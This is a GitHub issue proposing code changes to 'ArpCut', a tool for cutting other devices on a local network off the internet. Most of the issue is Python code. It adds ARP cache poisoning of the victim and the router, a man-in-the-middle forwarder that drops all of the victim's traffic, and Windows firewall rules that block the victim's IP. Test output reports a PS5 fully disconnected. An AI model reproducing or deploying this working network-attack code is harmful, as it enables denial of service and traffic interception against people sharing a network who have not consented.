Skip to content

Fix: Windows Kill Functionality Not Working for Devices Like PS5 #2

Description

@oneill-achille

Issue Description

The EXE version of ArpCut fails to cut internet connection for certain devices (e.g., PS5, gaming consoles) when using "Kill Selected Devices," "One-Way Kill," or "Full Kill" functionalities on Windows.

Root Cause Analysis

After investigation, three issues were identified:

  1. Full Kill (Windows): Only blocked outgoing traffic (dir=out), allowing devices to still receive packets
  2. One-Way Kill (Windows): Used macOS-only pf firewall, which silently failed on Windows
  3. Regular Kill (Windows): ARP spoofing alone without packet dropping allowed traffic to pass through

Solution

The following files were modified to fix the issue:

1. src/tools/pfctl.py

Fixed block_all_for() function - Now blocks BOTH incoming and outgoing traffic on Windows:

def block_all_for(iface: str, victim_ip: str) -> bool:
    if sys.platform != 'darwin':
        # Windows: use netsh advfirewall - block BOTH directions for complete cut
        if sys.platform.startswith('win'):
            rule_name_out = f'arpcut_block_{victim_ip.replace(".", "_")}_out'
            rule_name_in = f'arpcut_block_{victim_ip.replace(".", "_")}_in'
            # Block outgoing traffic TO victim
            cmd_out = f'netsh advfirewall firewall add rule name="{rule_name_out}" dir=out action=block remoteip={victim_ip} enable=yes'
            # Block incoming traffic FROM victim
            cmd_in = f'netsh advfirewall firewall add rule name="{rule_name_in}" dir=in action=block remoteip={victim_ip} enable=yes'
            res_out = _exec(cmd_out)
            res_in = _exec(cmd_in)
            return res_out.returncode == 0 and res_in.returncode == 0
        return False
    # macOS anchors don't support 'in'/'out' - omit direction
    rule = f'block drop quick on {iface} from {victim_ip} to any'
    return _write_pf_rules([rule], replace=False)

Fixed unblock_all_for() function - Removes both firewall rules:

def unblock_all_for(victim_ip: str) -> bool:
    if sys.platform != 'darwin':
        # Windows: remove BOTH firewall rules (in and out)
        if sys.platform.startswith('win'):
            rule_name_out = f'arpcut_block_{victim_ip.replace(".", "_")}_out'
            rule_name_in = f'arpcut_block_{victim_ip.replace(".", "_")}_in'
            _exec(f'netsh advfirewall firewall delete rule name="{rule_name_out}"')
            _exec(f'netsh advfirewall firewall delete rule name="{rule_name_in}"')
            return True
        return False
    # ... rest of macOS code

2. src/networking/killer.py

Updated kill() method - Added use_forwarder parameter to enable packet dropping on Windows:

@threaded
def kill(self, victim, wait_after=2, use_forwarder=False):
    """
    Spoofing victim.
    Default 2 second delay - ARP cache lasts 30-120s, no need to spam.
    Prevents Windows NDIS throttling.
    
    Args:
        victim: Device dict with ip, mac, etc.
        wait_after: Seconds between ARP packets
        use_forwarder: If True, start forwarder that drops all traffic (ensures complete block)
    """
    if victim['mac'] in self.killed:
        return
    
    self.killed[victim['mac']] = victim

    # Send ARP reply (is-at) with proper Ethernet destination to poison caches
    # ... ARP packet creation code ...
    
    # Optional: Start forwarder that drops all traffic for guaranteed block
    if use_forwarder:
        self._start_drop_all_forwarder(victim, debug=False)

    while victim['mac'] in self.killed and self.iface.name != 'NULL':
        # Send packets using persistent socket
        self._send_packet(to_victim)
        self._send_packet(to_router)
        sleep(wait_after)

    self._stop_forwarder(victim['mac'])

Updated one_way_kill() method - Platform-specific implementation:

def one_way_kill(self, victim):
    """
    Kill victim and block their outbound traffic.
    
    macOS/Linux: Uses kernel IP forwarding + pf block (fast, no Python overhead)
    Windows: Uses MitmForwarder to drop outbound packets
    """
    # Ensure victim is being ARP poisoned
    if victim['mac'] not in self.killed:
        self.kill(victim)
        # Wait for poison to start
        for _ in range(10):
            sleep(0.1)
            if victim['mac'] in self.killed:
                break
    
    # Platform-specific blocking
    if sys.platform == 'darwin':
        # macOS: Block outbound at kernel level with pf (no slow Python forwarder)
        self._enforce_pf_block(victim['ip'])
    else:
        # Windows/Linux: Use forwarder to drop outbound packets
        self._start_one_way_forwarder(victim, debug=False)

Added _start_drop_all_forwarder() method - Drops all traffic bidirectionally:

def _start_drop_all_forwarder(self, victim, debug=False):
    """Start forwarder that drops ALL traffic (complete kill)."""
    if victim['mac'] in self.forwarders:
        self.forwarders[victim['mac']].stop()
    if not self.router.get('mac'):
        if debug:
            print(f"[killer] Cannot start forwarder: router MAC unknown")
        return
    iface_to_use = self.iface.guid if hasattr(self.iface, 'guid') and self.iface.guid else self.iface.name
    if not iface_to_use or iface_to_use == 'NULL':
        if debug:
            print(f"[killer] Cannot start forwarder: invalid interface")
        return
    fw = MitmForwarder(debug=debug)
    fw.start(
        victim=victim,
        router=self.router,
        iface_name=iface_to_use,
        iface_mac=self.iface.mac,
        drop_from_victim=True,
        drop_to_victim=True,
    )
    self.forwarders[victim['mac']] = fw
    if debug:
        print(f"[killer] Drop-all forwarder started for {victim['ip']}")

Updated _start_one_way_forwarder() method - Added documentation:

def _start_one_way_forwarder(self, victim, debug=False):
    """Start forwarder that drops outbound traffic only (one-way kill)."""
    # ... existing implementation with drop_from_victim=True, drop_to_victim=False

Updated kill_all() method - Added use_forwarder parameter:

def kill_all(self, device_list, use_forwarder=False):
    """
    Safely kill all devices
    
    Args:
        device_list: List of devices to kill
        use_forwarder: If True, use forwarder for complete packet dropping
    """
    for device in device_list[:]:
        if device['admin']:
            continue
        if device['mac'] not in self.killed:
            self.kill(device, use_forwarder=use_forwarder)

3. src/gui/main.py

Updated kill() method - Auto-enables forwarder on Windows:

def kill(self):
    """
    Apply ARP spoofing to selected device
    """
    if not self.connected():
        return
    
    if not self.tableScan.selectedItems():
        self.log('No device selected', 'red')
        return

    device = self.current_index()
    
    if device['mac'] in self.killer.killed:
        self.log('Device is already killed', 'red')
        return
    
    # Killing process
    # On Windows, use forwarder to ensure complete packet dropping
    import sys
    use_forwarder = sys.platform.startswith('win')
    self.killer.kill(device, use_forwarder=use_forwarder)
    set_settings('killed', list(self.killer.killed) * self.remember)
    self.log('Killed ' + device['ip'], 'fuchsia')
    
    self.showDevices()

Updated killAll() method - Auto-enables forwarder on Windows:

def killAll(self):
    """
    Kill all scanned devices except admins
    """
    self.stopLagSwitch()
    if not self.connected():
        return
    
    # On Windows, use forwarder to ensure complete packet dropping
    import sys
    use_forwarder = sys.platform.startswith('win')
    self.killer.kill_all(self.scanner.devices, use_forwarder=use_forwarder)
    set_settings('killed', list(self.killer.killed) * self.remember)
    self.log('Killed All devices', 'fuchsia')

    self.showDevices()

Test Results

Tested on Windows with PS5:

Final forwarder stats:
  Packets seen:     15124
  Packets dropped:  15124
  Packets forwarded: 0

Result: PS5 had NO internet connection until restored. All three kill methods now work correctly on Windows.

Modified Files Summary

  1. src/tools/pfctl.py - Fixed Windows firewall bidirectional blocking
  2. src/networking/killer.py - Added forwarder support for Windows
  3. src/gui/main.py - Auto-enables forwarder for Windows kills

Note for Repository Maintainers

Branch Creation: I have created a branch with these fixes, but I do not have push permissions to this repository. The changes are ready for review and can be applied via pull request if you grant push access, or you can manually apply the changes from the modified files listed above.

Compatibility

  • Windows: All kill methods now work (tested)
  • macOS: Existing functionality preserved (uses pf firewall)
  • Linux: Compatible (uses forwarder fallback)

Dependencies

No new dependencies required. Uses existing:

  • scapy for packet manipulation
  • netsh advfirewall (built-in Windows command)
  • Existing MitmForwarder class

Tested on: Windows 11, Python 3.12, Npcap installed
Devices tested: PlayStation 5, standard network devices
All kill methods verified working: Regular Kill, Full Kill, One-Way Kill

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions